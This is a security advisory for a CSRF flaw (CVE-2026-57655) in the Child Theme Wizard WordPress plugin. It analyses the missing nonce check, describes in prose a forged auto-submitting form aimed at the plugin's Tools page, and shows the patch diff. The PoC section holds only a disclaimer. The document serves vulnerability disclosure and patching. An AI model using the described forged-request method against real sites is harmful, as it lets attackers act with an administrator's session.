Published : July 6, 2026

CVE-2026-57655: Child Theme Wizard <= 1.4 Cross-Site Request Forgery PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.4
Patched Version 1.5
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57655:
Child Theme Wizard <= 1.4 contains a Cross-Site Request Forgery (CSRF) vulnerability in the child theme creation functionality. The plugin fails to implement a nonce check on the form submission handler, allowing an attacker to trick an authenticated administrator into unknowingly creating a child theme. The vulnerability has a CVSS score of 4.3 (Medium).

The root cause is the absence of nonce validation in function `ctwMainFunction()` (renamed to `ctw_main_function()` in the patched version) in file `child-theme-wizard.php`. In the vulnerable code, lines 42-52 handle POST requests by checking only a hidden field (`$_POST['hiddenfield'] == 'Y'`) before calling the theme creation function `ctw_create_theme()`. There is no call to `check_admin_referer()`, `wp_verify_nonce()`, or any CSRF protection. The form submission (line 79) uses `action=""`, meaning it submits to the same page, but the missing nonce field makes the endpoint vulnerable to forged requests.

Exploitation requires an authenticated administrator to visit a malicious page or click a link while logged into WordPress. The attacker crafts a form that POSTs to the Tools page (`/wp-admin/tools.php?page=ChildThemeWizard`) with `hiddenfield=Y` and arbitrary parameters (`parent`, `title`, `description`, etc.). The form auto-submits via JavaScript or a submit button styled as a link. The attacker does not need to know the nonce because none exists. The malicious request creates a child theme on the target site under the attacker's control.

The patch adds nonce protection in three ways. First, line 60 in the new code adds `check_admin_referer( 'ctw_create_child_theme', 'ctw_nonce' )` immediately after the hidden field check. Second, line 73 adds `wp_nonce_field( 'ctw_create_child_theme', 'ctw_nonce' )` inside the form. Third, the patch validates the parent theme against actually installed themes (lines 63-68) to prevent directory traversal or arbitrary parent selection. The patch also improves sanitization with `esc_url_raw` and `wp_unslash`.

If exploited, an attacker can create arbitrary child themes with chosen title, description, author, and URL. While the direct impact is limited to creating a new theme directory and files on the filesystem, this could lead to stored XSS through theme header fields (e.g., the description shown in the admin Theme list). The more significant risk is that a social engineering attack vector exists for creating backdoor themes or triggering other actions during the file creation process. The vulnerability does not allow privilege escalation or code execution directly, but it could be combined with other flaws.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/child-theme-wizard/child-theme-wizard.php
+++ b/child-theme-wizard/child-theme-wizard.php
@@ -1,373 +1,346 @@
-<?php
-/**
- * Plugin Name: Child Theme Wizard
- * Plugin URI: https://wpguru.tv
- * Description: Creates a child theme from any theme you have installed
- * Version: 1.4
- * Author: Jay Versluis
- * Author URI: https://wpguru.tv
- * License: GPL2
- * License URI:  http://www.gnu.org/licenses/gpl-2.0.html
- */
-
-/*  Copyright 2013-2019  Jay Versluis (email support@wpguru.tv)
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License, version 2, as
-    published by the Free Software Foundation.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-// add submenu page under Tools
-function ctw_menu() {
-	global $starter_plugin_admin_page;
-	$starter_plugin_admin_page = add_submenu_page ('tools.php', __('Child Theme Wizard', 'ctw'), __('Child Theme Wizard', 'ctw'), 'manage_options', 'ChildThemeWizard', 'ctwMainFunction');
-}
-add_action('admin_menu', 'ctw_menu');
-
-
-///////////////////////////////////////////////
-// main function that generates the  admin page
-function ctwMainFunction () {
-
-// check that the user has the required capability
-    if (!current_user_can('manage_options'))
-    {
-      wp_die( __('You do not have sufficient privileges to access this page. Sorry!') );
-    }
-
-	///////////////////////////////////////
-	// MAIN AMDIN CONTENT SECTION
-	///////////////////////////////////////
-
-	// display heading with icon WP style
-	?>
-    <div class="wrap">
-    <div id="icon-index" class="icon32"><br></div>
-    <h2>Child Theme Wizard</h2>
-
-    <?php
-
-	// check if the button has been pressed
-	if( isset($_POST[ 'hiddenfield' ]) && $_POST[ 'hiddenfield' ] == 'Y' ) {
-
-		// call function with sanitized values
-		$newchildtheme = array(
-		'parent'      => $_POST['parent'],
-		'title'       => sanitize_text_field($_POST['title']),
-		'description' => sanitize_text_field($_POST['description']),
-		'url'         => sanitize_text_field($_POST['url']),
-		'author'      => sanitize_text_field($_POST['author']),
-		'author-url'  => sanitize_text_field($_POST['author-url']),
-		'version'     => sanitize_text_field($_POST['version']),
-		'include-gpl' => $_POST['include-gpl'],
-		);
-
-		// create child theme - let's see if this worked
-		$status = ctw_create_theme($newchildtheme);
-		// ctw_testing($newchildtheme);
-
-		// Put a "settings updated" message on the screen
-		if ($status['alert'] == -1) {
-			// panic - there was an error
-			?>
-            <div class="error">
-		    <strong><p>Yikes - something went wrong:</p>
-            <?php echo $status['message']; ?>
-            </strong>
-		    </div>
-            <div><strong><p>Would you like to <a href="<?php get_admin_url('tools.php?page=ChildThemeWizard'); ?>">try again?</a></p></strong></div>
-
-            <?php
-		} else {
-			// everything went fine
-			?>
-			<div class="updated">
-			 <strong>
-             <?php echo $status['message']; ?>
-             <p>
-			 <?php _e('Your Child Theme was created successfully!', 'ctw' ); ?>
-			 </strong></p></div>
-             <div>
-             <p>Head over to <a href="<?php echo admin_url('themes.php'); ?>">Appearance - Themes</a> to activate it.</p>
-             <p>Add your custom styles in <a href="<?php echo admin_url('theme-editor.php'); ?>">Appearance - Editor</a>.</p>
-			</div>
-			<?php
-			}
-		} else {
-
-		// display the new child theme dialogue
-		?>
-
-    <p>This simple wizard will help you generate a new <a href="https://developer.wordpress.org/themes/advanced-topics/child-themes/" target="_blank">Child Theme</a> with just one click. </p>
-    <p>Select which theme you want to use as a base, fill in the details and click "Create Child Theme".</p>
-    <hr>
-    <form name="ctwform" method="post" action="">
-    <input type="hidden" name="hiddenfield" value="Y">
-
-
-    <?php
-
-	// fields for author and title
-	// we can pre-populate some data too
-	$current_user = wp_get_current_user();
-	?>
-    <table width="600" border="0">
-      <tr>
-        <td>Parent Theme</td>
-        <td><?php
-        // grab a list of all parent themes and iterate through them
-		// $themes = wp_get_themes();
-		$themes = ctw_giveme_parents();
-		$currentTheme = wp_get_theme();
-		echo '<select name="parent">';
-		foreach ($themes as $theme) {
-			// if it's the current theme, make it selected
-			if($currentTheme->get('Name') == $theme->get('Name')) {
-				echo '<option value ="' . $theme->get_stylesheet() . '" selected>' . $theme->get('Name') . ' (currently active)</option>';
-			} else {
-				echo '<option value ="' . $theme->get_stylesheet() . '">' . $theme->get('Name') . '</option>';
-			}
-		}
-		echo '</select>';
-        ?></td>
-        <td><em></em></td>
-      </tr>
-      <tr>
-        <td>Title</td>
-        <td><input type="text" name="title" value="" size="20"></td>
-        <td><em>what's your new Child Theme called?</em></td>
-      </tr>
-      <tr>
-        <td>Description</td>
-        <td><input type="text" name="description" value="" size="20"></td>
-        <td><em>a few notes about your Child Theme</em></td>
-      </tr>
-      <tr>
-        <td>Child Theme URL</td>
-        <td><input type="text" name="url" value="" size="20"></td>
-        <td><em>does it have a website or release post?</em></td>
-      </tr>
-      <tr>
-        <td>Author</td>
-        <td><input type="text" name="author" value="<?php echo $current_user->display_name; ?>" size="20"></td>
-        <td><em>that's you</em></td>
-      </tr>
-      <tr>
-        <td>Author URL</td>
-        <td><input type="text" name="author-url" value="<?php echo $current_user->user_url; ?>" size="20"></td>
-        <td><em>that's your website</em></td>
-      </tr>
-      <tr>
-        <td>Version</td>
-        <td><input type="text" name="version" value="1.0" size="20"></td>
-        <td><em>start with 1.0 and work your way up</em></td>
-      </tr>
-      <tr>
-        <td>Include GPL License</td>
-        <td>
-        <select name="include-gpl">
-        <option value="on">Yes Please!</option>
-        <option value="off">No Thanks</option>
-        </select>
-        </td>
-        <td><em></em></td>
-      </tr>
-    </table>
-
-    <p class="submit">
-    <input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Create Child Theme') ?>" />
-    </p>
-
-    <?php // end of else
-		}
-		?>
-        <br><hr><br>
-
-    </div> <!-- end of main wrap -->
-
-<?php // display the footer ?>
-	<p><a href="https://wpguru.co.uk" target="_blank"><img src="<?php
-	echo plugins_url('images/guru-header-2013.png', __FILE__); ?>" width="300"></a> </p>
-
-<p><a href="https://wpguru.co.uk/2014/03/introducing-child-theme-wizard-for-wordpress/" target="_blank">Plugin by Jay Versluis</a> | <a href="https://github.com/versluis/Child-Theme-Wizard" target="_blank">Fork me or Contribute on GitHub</a> | <a href="https://patreon.com/versluis" target="_blank">Support me on Patreon</a></p>
-
-<p><span><!-- Social Buttons -->
-
-<!-- YouTube -->
-<script src="https://apis.google.com/js/platform.js"></script>
-<div class="g-ytsubscribe" data-channel="wphosting"></div>
-
-<!-- Place this tag after the last widget tag. -->
-<script type="text/javascript">
-  (function() {
-    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
-    po.src = 'https://apis.google.com/js/platform.js';
-    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
-  })();
-</script>
-
-     
-
-<!-- Twitter -->
-<a href="https://twitter.com/versluis" class="twitter-follow-button" data-show-count="true">Follow @versluis</a>
-<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script>
-
-<!-- Facebook -->
-<iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2Fpages%2FThe-WP-Guru%2F162188713810370&width&layout=button_count&action=like&show_faces=true&share=true&height=21&appId=186277158097599" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:21px;" allowTransparency="true"></iframe>
-
-</span></p>
-
-<?php
-} // end of main function
-
-/*
- * this function creates the new directory and file
- */
-
-function ctw_create_theme($childtheme) {
-
-	// add messages to this variable
-	$status = array();
-	$status['alert'] = 0;
-
-	// create the directory
-	$directory = get_theme_root() . '/' . sanitize_file_name($childtheme['title']);
-	// echo '<p>The child theme directory will be created at ' . $directory;
-	if (!mkdir($directory)) {
-		$status['message'] = "<p>Could not create directory. Does it exist already?</p>";
-		$status['alert'] = -1;
-		return $status;
-	} else {
-		$status['message'] = "<p>Directory created successfully.</p>";
-	}
-
-	// create style.css in our directory
-	$filename = $directory . '/' . 'style.css';
-	$handle = fopen($filename, 'w');
-
-	// add meta data
-	$data = "/* n Theme Name:   " . $childtheme['title'];
-	$data = $data . "n Theme URI:    " . $childtheme['url'];
-	$data = $data . "n Description:  " . $childtheme['description'];
-	$data = $data . "n Author:       " . $childtheme['author'];
-	$data = $data . "n Author URI:   " . $childtheme['author-url'];
-	$data = $data . "n Template:     " . $childtheme['parent'];
-	$data = $data . "n Version:      " . $childtheme['version'];
-
-	// insert GPL License Terms
-	if ($childtheme['include-gpl'] == 'on') {
-		$data = $data . "n License:      GNU General Public License v2 or later";
-	    $data = $data . "n License URI:  http://www.gnu.org/licenses/gpl-2.0.html";
-	}
-
-	// adding the call to the parent style sheet in CSS is no longer best practice
-	// $data = $data . "n*/nn" . '@import url("../' . $childtheme['parent'] . '/style.css");';
-	$data = $data . "nn /* == Add your own styles below this line ==";
-	$data = $data . "n--------------------------------------------*/nn";
-
-	// write data and close the file
-	if (fwrite($handle, $data) == false) {
-		$status['message'] = $status['message'] . "<p>There was a problem writing data to style.css.</p>";
-		$status['alert'] = -1;
-		return $status;
-	} else {
-		$status['message'] = $status['message'] . "<p>Writing data to style.css...</p>";
-	}
-	fclose($handle);
-
-	// create functions.php
-	$filename = $directory . '/' . 'functions.php';
-	$handle = fopen($filename, 'w');
-
-	// add some meta data
-	$data = "<?php /*nn  This file is part of a child theme called " . $childtheme['title'] . ".";
-	$data = $data . "n  Functions in this file will be loaded before the parent theme's functions.";
-	$data = $data . "n  For more information, please read";
-	$data = $data . "n  https://developer.wordpress.org/themes/advanced-topics/child-themes/";
-	$data = $data . "nn*/";
-
-	// add call to enqueue parent style sheet via functions.php
-	$data = $data . "nn// this code loads the parent's stylesheet (leave it in place unless you know what you're doing)";
-	$data = $data . "nnfunction your_theme_enqueue_styles() {";
-
-	// @since 1.4: define $parent_style
-	$data = $data . "nn    " . '$parent_style' . " = 'parent-style';";
-
-	$data = $data . "nn    wp_enqueue_style( " . '$parent_style' . ", n";
-	$data = $data . "      get_template_directory_uri() . '/style.css'); n";
-
-	$data = $data . "n    wp_enqueue_style( 'child-style', n";
-	$data = $data . "      get_stylesheet_directory_uri() . '/style.css', n";
-	$data = $data . "      array(". '$parent_style' ."), n";
-	$data = $data . "      wp_get_theme()->get('Version') n";
-	$data = $data . "    );n}";
-	$data = $data . "nnadd_action('wp_enqueue_scripts', 'your_theme_enqueue_styles');";
-
-	$data = $data . "nn/*  Add your own functions below this line.";
-	$data = $data . "n    ======================================== */ nn";
-
-	// write data and close the file
-	if (fwrite($handle, $data) == false) {
-		$status['message'] = $status['message'] . "<p>There was a problem writing data to functions.php.</p>";
-		$status['alert'] = -1;
-		return $status;
-	} else {
-		$status['message'] = $status['message'] . "<p>Writing data to functions.php...</p>";
-	}
-	fclose($handle);
-
-	// create a nice screenshot
-	$thumbnail_status = ctw_make_thumbnail($directory);
-	$status['message'] = $status['message'] . $thumbnail_status;
-
-	return $status;
-}
-
-// return an array only of parent themes
-function ctw_giveme_parents() {
-
-	// first we'll grab all installed themes
-	$allThemes = wp_get_themes();
-	$parentThemes = array();
-
-	// next we'll add all parents and return the result
-	foreach ($allThemes as $theme) {
-
-		if ($theme->parent() == false) {
-			$parentThemes[] = $theme;
-		}
-	}
-
-	return $parentThemes;
-}
-
-// create a new thumbnail
-function ctw_make_thumbnail($childpath) {
-
-	// for now we'll just copy an existing image
-	$thumbnail = plugins_url('images/screenshot.png', __FILE__);
-	$destination = $childpath . '/screenshot.png';
-	if (!copy($thumbnail, $destination)) {
-		return "<p>Could not copy thumbnail image :-(</p>";
-	} else {
-		return "<p>Copied thumbnail file over - looking good!</p>";
-	}
-}
-
-// quick tests go here
-function ctw_testing($childtheme) {
-
-	$directory = get_theme_root() . '/' . sanitize_file_name($childtheme['title']);
-	ctw_make_thumbnail($directory);
-}
-
-?>
+<?php
+/**
+ * Plugin Name: Child Theme Wizard
+ * Plugin URI: https://wpguru.tv
+ * Description: Creates a child theme from any installed parent theme.
+ * Version: 1.5
+ * Author: Jay Versluis
+ * Author URI: https://wpguru.tv
+ * License: GPL2
+ * License URI: http://www.gnu.org/licenses/gpl-2.0.html
+ * Text Domain: child-theme-wizard
+ */
+
+/*  Copyright 2013-2026  Jay Versluis (email support@wpguru.tv)
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License, version 2, as
+    published by the Free Software Foundation.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+*/
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+add_action( 'admin_menu', 'ctw_menu' );
+
+function ctw_menu(): void {
+	add_submenu_page(
+		'tools.php',
+		__( 'Child Theme Wizard', 'child-theme-wizard' ),
+		__( 'Child Theme Wizard', 'child-theme-wizard' ),
+		'manage_options',
+		'ChildThemeWizard',
+		'ctw_main_function'
+	);
+}
+
+function ctw_main_function(): void {
+
+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_die( esc_html__( 'You do not have sufficient privileges to access this page.', 'child-theme-wizard' ) );
+	}
+
+	?>
+	<div class="wrap">
+	<h1><?php esc_html_e( 'Child Theme Wizard', 'child-theme-wizard' ); ?></h1>
+
+	<?php
+
+	if ( isset( $_POST['hiddenfield'] ) && $_POST['hiddenfield'] === 'Y' ) {
+
+		// Verify nonce — blocks CSRF attacks.
+		check_admin_referer( 'ctw_create_child_theme', 'ctw_nonce' );
+
+		// Validate parent against actually-installed parent themes.
+		$parent_themes    = ctw_giveme_parents();
+		$valid_parents    = array_map( fn( $t ) => $t->get_stylesheet(), $parent_themes );
+		$submitted_parent = sanitize_text_field( wp_unslash( $_POST['parent'] ?? '' ) );
+
+		if ( ! in_array( $submitted_parent, $valid_parents, true ) ) {
+			wp_die( esc_html__( 'Invalid parent theme selected.', 'child-theme-wizard' ) );
+		}
+
+		$newchildtheme = array(
+			'parent'      => $submitted_parent,
+			'title'       => sanitize_text_field( wp_unslash( $_POST['title'] ?? '' ) ),
+			'description' => sanitize_text_field( wp_unslash( $_POST['description'] ?? '' ) ),
+			'url'         => esc_url_raw( wp_unslash( $_POST['url'] ?? '' ) ),
+			'author'      => sanitize_text_field( wp_unslash( $_POST['author'] ?? '' ) ),
+			'author-url'  => esc_url_raw( wp_unslash( $_POST['author-url'] ?? '' ) ),
+			'version'     => sanitize_text_field( wp_unslash( $_POST['version'] ?? '' ) ),
+			'include-gpl' => ( isset( $_POST['include-gpl'] ) && $_POST['include-gpl'] === 'on' ) ? 'on' : 'off',
+		);
+
+		$status = ctw_create_theme( $newchildtheme );
+
+		if ( $status['alert'] === -1 ) {
+			?>
+			<div class="notice notice-error">
+				<p><strong><?php esc_html_e( 'Yikes — something went wrong:', 'child-theme-wizard' ); ?></strong></p>
+				<?php echo wp_kses_post( $status['message'] ); ?>
+			</div>
+			<p><a href="<?php echo esc_url( admin_url( 'tools.php?page=ChildThemeWizard' ) ); ?>"><?php esc_html_e( 'Try again?', 'child-theme-wizard' ); ?></a></p>
+			<?php
+		} else {
+			?>
+			<div class="notice notice-success">
+				<?php echo wp_kses_post( $status['message'] ); ?>
+				<p><strong><?php esc_html_e( 'Your Child Theme was created successfully!', 'child-theme-wizard' ); ?></strong></p>
+			</div>
+			<p>
+				<?php
+				printf(
+					/* translators: 1: link to Appearance > Themes, 2: link to Appearance > Editor */
+					esc_html__( 'Head over to %1$s to activate it. Add your custom styles in %2$s.', 'child-theme-wizard' ),
+					'<a href="' . esc_url( admin_url( 'themes.php' ) ) . '">' . esc_html__( 'Appearance › Themes', 'child-theme-wizard' ) . '</a>',
+					'<a href="' . esc_url( admin_url( 'theme-editor.php' ) ) . '">' . esc_html__( 'Appearance › Editor', 'child-theme-wizard' ) . '</a>'
+				);
+				?>
+			</p>
+			<?php
+		}
+	} else {
+
+		$current_user  = wp_get_current_user();
+		$parent_themes = ctw_giveme_parents();
+		$current_theme = wp_get_theme();
+		?>
+
+		<p>
+			<?php
+			printf(
+				/* translators: %s: link to WordPress child theme documentation */
+				esc_html__( 'This simple wizard will help you generate a new %s with just one click.', 'child-theme-wizard' ),
+				'<a href="https://developer.wordpress.org/themes/advanced-topics/child-themes/" target="_blank">' . esc_html__( 'Child Theme', 'child-theme-wizard' ) . '</a>'
+			);
+			?>
+		</p>
+		<p><?php esc_html_e( 'Select which theme you want to use as a base, fill in the details and click "Create Child Theme".', 'child-theme-wizard' ); ?></p>
+		<hr>
+
+		<form name="ctwform" method="post" action="">
+			<?php wp_nonce_field( 'ctw_create_child_theme', 'ctw_nonce' ); ?>
+			<input type="hidden" name="hiddenfield" value="Y">
+
+			<table class="form-table" role="presentation">
+				<tr>
+					<th scope="row"><label for="ctw-parent"><?php esc_html_e( 'Parent Theme', 'child-theme-wizard' ); ?></label></th>
+					<td>
+						<select name="parent" id="ctw-parent">
+							<?php foreach ( $parent_themes as $theme ) :
+								$stylesheet = $theme->get_stylesheet();
+								$name       = $theme->get( 'Name' );
+								$is_active  = $current_theme->get( 'Name' ) === $name;
+								?>
+								<option value="<?php echo esc_attr( $stylesheet ); ?>"<?php selected( $is_active ); ?>>
+									<?php
+									echo esc_html( $name );
+									if ( $is_active ) {
+										echo ' (' . esc_html__( 'currently active', 'child-theme-wizard' ) . ')';
+									}
+									?>
+								</option>
+							<?php endforeach; ?>
+						</select>
+					</td>
+				</tr>
+				<tr>
+					<th scope="row"><label for="ctw-title"><?php esc_html_e( 'Title', 'child-theme-wizard' ); ?></label></th>
+					<td>
+						<input type="text" name="title" id="ctw-title" value="" class="regular-text">
+						<p class="description"><?php esc_html_e( "What's your new Child Theme called?", 'child-theme-wizard' ); ?></p>
+					</td>
+				</tr>
+				<tr>
+					<th scope="row"><label for="ctw-description"><?php esc_html_e( 'Description', 'child-theme-wizard' ); ?></label></th>
+					<td>
+						<input type="text" name="description" id="ctw-description" value="" class="regular-text">
+						<p class="description"><?php esc_html_e( 'A few notes about your Child Theme.', 'child-theme-wizard' ); ?></p>
+					</td>
+				</tr>
+				<tr>
+					<th scope="row"><label for="ctw-url"><?php esc_html_e( 'Child Theme URL', 'child-theme-wizard' ); ?></label></th>
+					<td>
+						<input type="url" name="url" id="ctw-url" value="" class="regular-text">
+						<p class="description"><?php esc_html_e( 'Does it have a website or release post?', 'child-theme-wizard' ); ?></p>
+					</td>
+				</tr>
+				<tr>
+					<th scope="row"><label for="ctw-author"><?php esc_html_e( 'Author', 'child-theme-wizard' ); ?></label></th>
+					<td>
+						<input type="text" name="author" id="ctw-author" value="<?php echo esc_attr( $current_user->display_name ); ?>" class="regular-text">
+						<p class="description"><?php esc_html_e( "That's you.", 'child-theme-wizard' ); ?></p>
+					</td>
+				</tr>
+				<tr>
+					<th scope="row"><label for="ctw-author-url"><?php esc_html_e( 'Author URL', 'child-theme-wizard' ); ?></label></th>
+					<td>
+						<input type="url" name="author-url" id="ctw-author-url" value="<?php echo esc_url( $current_user->user_url ); ?>" class="regular-text">
+						<p class="description"><?php esc_html_e( "That's your website.", 'child-theme-wizard' ); ?></p>
+					</td>
+				</tr>
+				<tr>
+					<th scope="row"><label for="ctw-version"><?php esc_html_e( 'Version', 'child-theme-wizard' ); ?></label></th>
+					<td>
+						<input type="text" name="version" id="ctw-version" value="1.0" class="small-text">
+						<p class="description"><?php esc_html_e( 'Start with 1.0 and work your way up.', 'child-theme-wizard' ); ?></p>
+					</td>
+				</tr>
+				<tr>
+					<th scope="row"><label for="ctw-include-gpl"><?php esc_html_e( 'Include GPL License', 'child-theme-wizard' ); ?></label></th>
+					<td>
+						<select name="include-gpl" id="ctw-include-gpl">
+							<option value="on"><?php esc_html_e( 'Yes Please!', 'child-theme-wizard' ); ?></option>
+							<option value="off"><?php esc_html_e( 'No Thanks', 'child-theme-wizard' ); ?></option>
+						</select>
+					</td>
+				</tr>
+			</table>
+
+			<p class="submit">
+				<input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e( 'Create Child Theme', 'child-theme-wizard' ); ?>">
+			</p>
+		</form>
+
+		<?php
+	}
+	?>
+
+	<br><hr><br>
+	</div><!-- .wrap -->
+
+	<p><a href="https://wpguru.co.uk" target="_blank"><img src="<?php echo esc_url( plugins_url( 'images/guru-header-2013.png', __FILE__ ) ); ?>" width="300" alt="WP Guru"></a></p>
+
+	<p>
+		<a href="https://wpguru.co.uk/2014/03/introducing-child-theme-wizard-for-wordpress/" target="_blank">Plugin by Jay Versluis</a>
+		| <a href="https://github.com/versluis/Child-Theme-Wizard" target="_blank">Fork me or Contribute on GitHub</a>
+		| <a href="https://patreon.com/versluis" target="_blank">Support me on Patreon</a>
+	</p>
+
+	<?php
+}
+
+function ctw_create_theme( array $childtheme ): array {
+
+	$status = array(
+		'alert'   => 0,
+		'message' => '',
+	);
+
+	global $wp_filesystem;
+	if ( empty( $wp_filesystem ) ) {
+		require_once ABSPATH . 'wp-admin/includes/file.php';
+		WP_Filesystem();
+	}
+
+	$directory = get_theme_root() . '/' . sanitize_file_name( $childtheme['title'] );
+
+	if ( ! $wp_filesystem->mkdir( $directory ) ) {
+		$status['message'] = '<p>' . esc_html__( 'Could not create directory. Does it exist already?', 'child-theme-wizard' ) . '</p>';
+		$status['alert']   = -1;
+		return $status;
+	}
+
+	$status['message'] .= '<p>' . esc_html__( 'Directory created successfully.', 'child-theme-wizard' ) . '</p>';
+
+	// Strip */ so user-supplied values cannot break out of the CSS comment block.
+	$safe = array_map( fn( $v ) => str_replace( '*/', '', (string) $v ), $childtheme );
+
+	$style  = "/* n Theme Name:   " . $safe['title'];
+	$style .= "n Theme URI:    " . $safe['url'];
+	$style .= "n Description:  " . $safe['description'];
+	$style .= "n Author:       " . $safe['author'];
+	$style .= "n Author URI:   " . $safe['author-url'];
+	$style .= "n Template:     " . $safe['parent'];
+	$style .= "n Version:      " . $safe['version'];
+
+	if ( $safe['include-gpl'] === 'on' ) {
+		$style .= "n License:      GNU General Public License v2 or later";
+		$style .= "n License URI:  http://www.gnu.org/licenses/gpl-2.0.html";
+	}
+
+	$style .= "nn /* == Add your own styles below this line ==";
+	$style .= "n--------------------------------------------*/nn";
+
+	if ( ! $wp_filesystem->put_contents( $directory . '/style.css', $style, FS_CHMOD_FILE ) ) {
+		$status['message'] .= '<p>' . esc_html__( 'There was a problem writing data to style.css.', 'child-theme-wizard' ) . '</p>';
+		$status['alert']    = -1;
+		return $status;
+	}
+
+	$status['message'] .= '<p>' . esc_html__( 'Writing data to style.css…', 'child-theme-wizard' ) . '</p>';
+
+	$functions  = "<?phpn/*nn  This file is part of a child theme called " . $safe['title'] . ".";
+	$functions .= "n  Functions in this file will be loaded before the parent theme's functions.";
+	$functions .= "n  For more information, please read";
+	$functions .= "n  https://developer.wordpress.org/themes/advanced-topics/child-themes/";
+	$functions .= "nn*/nn";
+	$functions .= "// Loads the parent stylesheet — leave this in place unless you know what you're doing.n";
+	$functions .= "function your_theme_enqueue_styles() {nn";
+	$functions .= "    $parent_style = 'parent-style';nn";
+	$functions .= "    wp_enqueue_style( $parent_style,n";
+	$functions .= "        get_template_directory_uri() . '/style.css'n";
+	$functions .= "    );nn";
+	$functions .= "    wp_enqueue_style( 'child-style',n";
+	$functions .= "        get_stylesheet_directory_uri() . '/style.css',n";
+	$functions .= "        array( $parent_style ),n";
+	$functions .= "        wp_get_theme()->get( 'Version' )n";
+	$functions .= "    );n";
+	$functions .= "}n";
+	$functions .= "add_action( 'wp_enqueue_scripts', 'your_theme_enqueue_styles' );nn";
+	$functions .= "/*  Add your own functions below this line.n";
+	$functions .= "    ======================================== */nn";
+
+	if ( ! $wp_filesystem->put_contents( $directory . '/functions.php', $functions, FS_CHMOD_FILE ) ) {
+		$status['message'] .= '<p>' . esc_html__( 'There was a problem writing data to functions.php.', 'child-theme-wizard' ) . '</p>';
+		$status['alert']    = -1;
+		return $status;
+	}
+
+	$status['message'] .= '<p>' . esc_html__( 'Writing data to functions.php…', 'child-theme-wizard' ) . '</p>';
+
+	$status['message'] .= ctw_make_thumbnail( $directory );
+
+	return $status;
+}
+
+function ctw_giveme_parents(): array {
+
+	$parent_themes = array();
+
+	foreach ( wp_get_themes() as $theme ) {
+		if ( $theme->parent() === false ) {
+			$parent_themes[] = $theme;
+		}
+	}
+
+	return $parent_themes;
+}
+
+function ctw_make_thumbnail( string $childpath ): string {
+
+	global $wp_filesystem;
+	if ( empty( $wp_filesystem ) ) {
+		require_once ABSPATH . 'wp-admin/includes/file.php';
+		WP_Filesystem();
+	}
+
+	$source      = plugin_dir_path( __FILE__ ) . 'images/screenshot.png';
+	$destination = $childpath . '/screenshot.png';
+
+	if ( ! $wp_filesystem->copy( $source, $destination ) ) {
+		return '<p>' . esc_html__( 'Could not copy thumbnail image.', 'child-theme-wizard' ) . '</p>';
+	}
+
+	return '<p>' . esc_html__( 'Copied thumbnail file — looking good!', 'child-theme-wizard' ) . '</p>';
+}
--- a/child-theme-wizard/uninstall.php
+++ b/child-theme-wizard/uninstall.php
@@ -1,29 +1,7 @@
 <?php
-// Child Theme Wizard uninstall script
-// deletes all database options when plugin is removed
-// @since 1.0
-//
-// Direct calls to this file are Forbidden when core files are not present
-// Thanks to Ed from ait-pro.com for this  code
-
-if ( !function_exists('add_action') ){
-header('Status: 403 Forbidden');
-header('HTTP/1.1 403 Forbidden');
-exit();
-}
-
-if ( !current_user_can('manage_options') ){
-header('Status: 403 Forbidden');
-header('HTTP/1.1 403 Forbidden');
-exit();
+// Direct file access guard must come first.
+if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
+	exit;
 }
-// if uninstall is not called from WordPress then exit
-if (!defined('WP_UNINSTALL_PLUGIN')) exit();
-
-// this plugin does not add any options to the database
-// if it would, they would be removed here
-
-// Thanks for using this plugin
-// If you'd like to try again someday check out http://wpguru.co.uk where it lives and grows

-?>
 No newline at end of file
+// This plugin stores no options in the database, so there is nothing to clean up.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
